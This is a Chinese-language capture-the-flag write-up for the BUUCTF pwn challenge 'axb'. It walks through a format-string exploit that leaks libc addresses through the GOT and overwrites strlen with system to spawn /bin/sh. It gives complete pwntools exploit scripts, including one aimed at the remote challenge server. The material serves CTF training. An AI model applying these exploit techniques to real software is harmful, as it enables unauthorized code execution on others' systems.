@TOC
起因
之所以记录这个题,是因为我调试了一整天才调试好,一个小小的格串,实在把我卡住了。。。
参考:https://www.freesion.com/article/6942500911/ (写的很详细)
分析
程序逻辑:循环输入,然后用print输出
思路
这里read没有溢出,所以需要修改got表,来执行system函数,先用格串泄露system的地址,在把strlen的got表修改成system的地址,执行strlen,拿到shell
泄露system的地址
(这里我是拿的本机的libc调试的,后面发现打不通远程)(ubutun18)
输入aaaabbbb
0xffffcc9c:是我们读入数据的地方(也是%1$p)
0xffffccb4:是我们要泄露数据的地方
不算上面那个0x61的话 中间差了6个字节
那么我们就可以这样构造
‘a’+p32(read_got)+’%7$p’
再次试一下
可以看到已经显示出来我们想要的地址了,
0xf7e89d60就是我们要泄露的read的实际地址
但是前面还有一堆东西,我们可以这么构造,直接读出read_addr
求一下libc的基质,发现后三个为0,应该没问题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| from pwn import*
io=process('./axb') elf=ELF('./axb') libc=elf.libc read_got=elf.got['read']
payload='a'+p32(read_got)+'22'+'%7$s' io.recvuntil('Please tell me:') io.send(payload)
io.recvuntil('22') read_addr=u32(io.recv(4)) print(hex(read_addr)) libcbase=read_addr-libc.symbols['read'] print(hex(libcbase)) system_addr=libcbase+libc.symbols['system']
|
注意点:
第一个:我们刚开始输入的aaaabbbb发现没有四字节对齐,那么我们构造的时候要补一个’a‘
第二个:我们开始用%7$p泄露了read_got表,后面用%7$泄露read_addr,后者调试的时候容易报错,程序出错,所以用前面的调试好后,一换就行
第三个:接收的时候在payload加个字符串’22‘,后面不用算位数,直接recv(4)即可
修改got表
(先忽略fmtstr_payload 用最普通的方法泄露)
如法炮制,先确定strlen_got表的位置,
我们直接按上面的payload输进去 ‘a’+p32(strlen_got)+’%7$p’ 去调试
可以发现got表的位置在上面一个字节
0x70243725 对应着 ‘%7$p’
这样就可以确定位置,直接修改
我在前面随便输入了几个字节,可以发现后面变成了0x16
而当我尝试输入一个大数时,确发现他没有被修改
当时就卡在这里了,死活不明白为什么程序就修改不了,重新调试了好几遍发现还是如此,那么只能把4字节的数据分开修改
先求出system的高位和低位
1 2
| hi_addr=(system_addr>>16)&0xffff lo_addr=(system_addr)&0xffff
|
发送paylaod
1
| payload='a'+p32(strlen_got)+p32(strlen_got+2)+'%'+str(lo_addr-0x12)+'c'+'%6$hn'+'%'+str(hi_addr-lo_addr)+'c'+'%7$hn'
|
成功修改
利用
现在的strlen被我们修改成了system ,那么在下一轮循环里我们只要输入/bin/sh即可
这里会在前面填入一些无关的字符(Repeater:)
那么我们输入的时候只需要加个 ; 就可以执行system
构造输入
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| from pwn import* from LibcSearcher import* io=process('./axb') elf=ELF('./axb') libc=elf.libc read_got=elf.got['read'] strlen_addr=elf.got['strlen'] strlen_got=elf.got['strlen']
payload='a'+p32(read_got)+'22'+'%7$s' io.recvuntil('Please tell me:')
io.send(payload)
io.recvuntil('22') read_addr=u32(io.recv(4)) print(hex(read_addr)) libcbase=read_addr-libc.symbols['read'] print(hex(libcbase)) system_addr=libcbase+libc.symbols['system'] print(str(system_addr)) hi_addr=(system_addr>>16)&0xffff lo_addr=(system_addr)&0xffff
payload='a'+p32(strlen_got)+p32(strlen_got+2)+'%'+str(lo_addr-0x12)+'c'+'%6$hn'+'%'+str(hi_addr-lo_addr)+'c'+'%7$hn' io.recvuntil('Please tell me:') io.send(payload) print(hex(hi_addr)) print(hex(lo_addr)) print(hex(system_addr)) print(hex(read_got)) sleep(0.1) payload=';/bin/sh\x00' io.sendline(payload) io.interactive()
|
打远程
本地可以打通,远程打不通
拿2.23的libc重新调试 ,发现在偏移上有所不同
原来的偏移是 7 6 7 远程的是 8 8 9
我这里直接看别人写的wp 修改了一下偏移 用libcsearcher打通 (不想调了)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| from pwn import* from LibcSearcher import*
io=remote('node4.buuoj.cn',26632) elf=ELF('./axb')
read_got=elf.got['read'] strlen_addr=elf.got['strlen'] strlen_got=elf.got['strlen']
payload='a'+p32(read_got)+'22'+'%8$s' io.recvuntil('Please tell me:')
io.send(payload)
io.recvuntil('22') read_addr=u32(io.recv(4)) print(hex(read_addr)) libc=LibcSearcher('read',read_addr) libcbase=read_addr-libc.dump('read')
print(hex(libcbase)) system_addr=libcbase+libc.dump('system') print(str(system_addr)) hi_addr=(system_addr>>16)&0xffff lo_addr=(system_addr)&0xffff
payload='a'+p32(strlen_got)+p32(strlen_got+2)+'%'+str(lo_addr-0x12)+'c'+'%8$hn'+'%'+str(hi_addr-lo_addr)+'c'+'%9$hn' io.recvuntil('Please tell me:') io.send(payload) print(hex(hi_addr)) print(hex(lo_addr)) print(hex(system_addr)) print(hex(read_got))
sleep(0.1) payload=';/bin/sh\x00' io.sendline(payload) io.interactive()
|
看了别人的wp 还有拿one_gadget打的